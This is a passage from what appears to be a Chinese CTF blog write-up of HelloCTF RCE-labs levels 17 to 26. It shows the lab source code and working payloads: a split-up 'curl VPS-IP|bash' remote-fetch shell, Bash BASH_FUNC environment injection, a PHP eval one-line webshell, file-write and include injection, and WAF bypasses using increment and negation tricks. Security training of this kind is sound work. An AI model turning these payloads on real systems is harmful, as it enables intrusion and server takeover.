>*.\
>*\
>0.\
>2\
>\ 1\
>url\
>c\
sh b
sh a

这里就需要再引入一个命令 dir

  • dir 的作用跟 ls 几乎一样,但是当使用 > 将命令的结果传入文件中时, dir 并不会在文件名中间换行

这就说明

  • 文件名之间不再需要使用 \ 拼接
  • 当然这是指原本就是空格隔开的字段
  • 如果是要使用 curl, 分为 cu 和 rl 两个字段, 当然也是要通过 \ 进行连接

所以通过 dir>? 写入命令,dir 默认是通过字典序的, 如果添加其他参数的话, 似乎就遇到上文 ls 一样的困境了

那这个时候在引进一个命令 rev,rev 的作用是反转字符串,如 ls -t 就会变成 t- sl

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
>dir
>g\>
>ht-
>sl
*>v
>rev
*v>x
`curl\ VPS的ip\|bash` 的分块
>sh
>ba\
>\|\
>7\
>5\
>1\
>3.\
>5.\
>5\
>0.\
>2\
>\ 1\
>url\
>c\
sh x
sh g

但是也和上面一样,没有弹成功shell(

RCELABS-17:PHP命令执行函数

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
session_start();
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

}

function get_fun(){

$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

return $_SESSION['random_func'];
}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

image-20261007232642546

和2很像,但这次给的passthru是有回显的函数,因此只要post传参直接输入命令就可以

RCELABS-18:环境变量注入

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 ---

来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

*/
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

image-20261007232802971

$_REQUEST 可以接收GET,POST传参方式

foreach($_REQUEST['envs'] as $key => $val):获取envs数组

putenv("{$key}={$val}"):将数组中的键值对通过putenv函数设置为系统环境变量

putenv的作用:可以设置当前PHP进程的环境变量,比如

1
putenv("name=Colourful");

等价于给当前进程添加一个环境变量:

1
name=Colourful

而后面又调用了system函数执行命令,那这里就有一条完整的利用链

1
2
3
4
5
6
7
8
9
用户传入 envs 参数
↓
putenv() 写入环境变量
↓
system() 启动 shell
↓
shell 读取环境变量
↓
触发环境变量注入

那关键就在于Bash 函数导入,Bash支持通过环境变量导入函数,格式如下

1
BASH_FUNC_函数名%%=() { 函数体; }

比如:

1
BASH_FUNC_echo%%=() { cat /flag; }

这里就是给 Bash 注入一个名为 echo 的函数,这个函数执行时运行 cat /flag,而这里我们就可以用来劫持echo,Bash启动后会把echo导入为一个函数,如

1
2
3
echo() {
cat /flag
}

此时实际的执行效果就变成了

1
cat /flag

因此构造payload:

1
?envs[BASH_FUNC_echo%%]=() { cat /flag; }

RCELABS-19:文件写入导致的RCE

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
?>

*/

function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>

file_put_contents:将数据写入文件

格式为’file(文件名)’,’data(内容命令这种)’

构造payload:

1
?c='1.php','<?php system("ls /");?>'

然后查看1.php文件,就能看到执行的结果

image-20261007234027031

注写文件外面用单引号里面就要用双引号

或者构造payload直接写入一句话木马,然后蚁剑连接,

1
?c='1.php','<?php @eval($_POST['cmd']);?>'

然后更改url为/1.php后蚁剑连接,密码为cmd,在根目录下查看flag

RCELABS-20:文件上传导致的RCE

image-20261007234046479

文件上传,在桌面写一个文件里面是一句话木马

1
<?php @eval($_POST['cmd']);?>

image-20261007234121792

上传之后更改url,然后蚁剑链接直接在根目录下找到flag

RCELABS-21:文件包含导致的RCE

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php

注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/

function helloctf($code){
$code = "include(".$code.");";
echo "Your includeCode : ".$code;
eval($code);
}

isset($_POST['c']) ? helloctf($_POST['c']) : '';

highlight_file(__FILE__);

?>

可以看到这道题其实不是普通的文件包含,而是将include再次放到了eval函数下执行,这里直接执行‘/flag’直接读到了可能属于非预期了,具体其他预期解这里暂时先不补充了,可以看看其他师傅的wp:【RCELABS】Level19~21 —— RCE 利用路径-CSDN博客

image-20261007234348342

paylaod

1
c='/flag'

RCELABS-22:动态调用

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 ---

PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

try ?a=system&b=ls

*/

isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

highlight_file(__FILE__);

?>
1
isset($\_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

$_GET‘a’表示a的参数值作为函数,b的参数值作为命令

如果满足

1
?a=system&b=ls

img

img

根据题目给出的提示修改命令即可

动态调用,a作为函数,b作为函数的参数

RCELABS-23:自增

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
error_reporting(0);

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}

?>

image-20261007234939059

payload

1
2
3
code=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]); 
&__=system
&_=ls

将题目给的payload复制进来,在后续执行命令ls /和cat /flag

RCELABS-24:无参命令执行

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 ---

根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...

随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件

...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/

function hello_code($code){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
eval($code);
}else{
die("O.o");
}

}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

image-20261007235138518

无参rce,payload为

1
?code=show_source(array_rand(array_flip(scandir(current(localeconv())))));

(函数解析在RCE漏洞的笔记里)

RCELABS-25:取反

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 取反绕过 ---

注*:推荐先完成 无参命令注入部分题目 后再来尝试这一题。

取反题目实际上就是无参命令执行的一个变种,我们可以通过取反的方式来绕过正则表达式的匹配规则,已经有成熟的脚本就不多做说明了。

脚本仓库:https://github.com/ProbiusOfficial/PHP-inversion
https://probiusofficial.github.io/PHP-inversion/
题目提供一个在线的页面脚本来辅助你完成该题目:/exp.html

*/

function hello_code($code){
if(preg_match("/[A-Za-z0-9]+/", $code)){
die("WAF!");
}
eval($code);
}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

image-20261007235214154

对system,ls /和cat /flag取反构造payload

RCELABS-26:无字母数字的代码执行

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 ---

参考和依据的文章:https://xz.aliyun.com/t/8107

*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-z0-9]/is", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}

?>

image-20261007235252382

bp抓包,依旧可以对命令进行取反绕过得到flag


RCELabs
https://colourful228.github.io/2026/09/17/RCELabs/
作者
Colourful
发布于
2026年9月17日
更新于
2026年10月7日
许可协议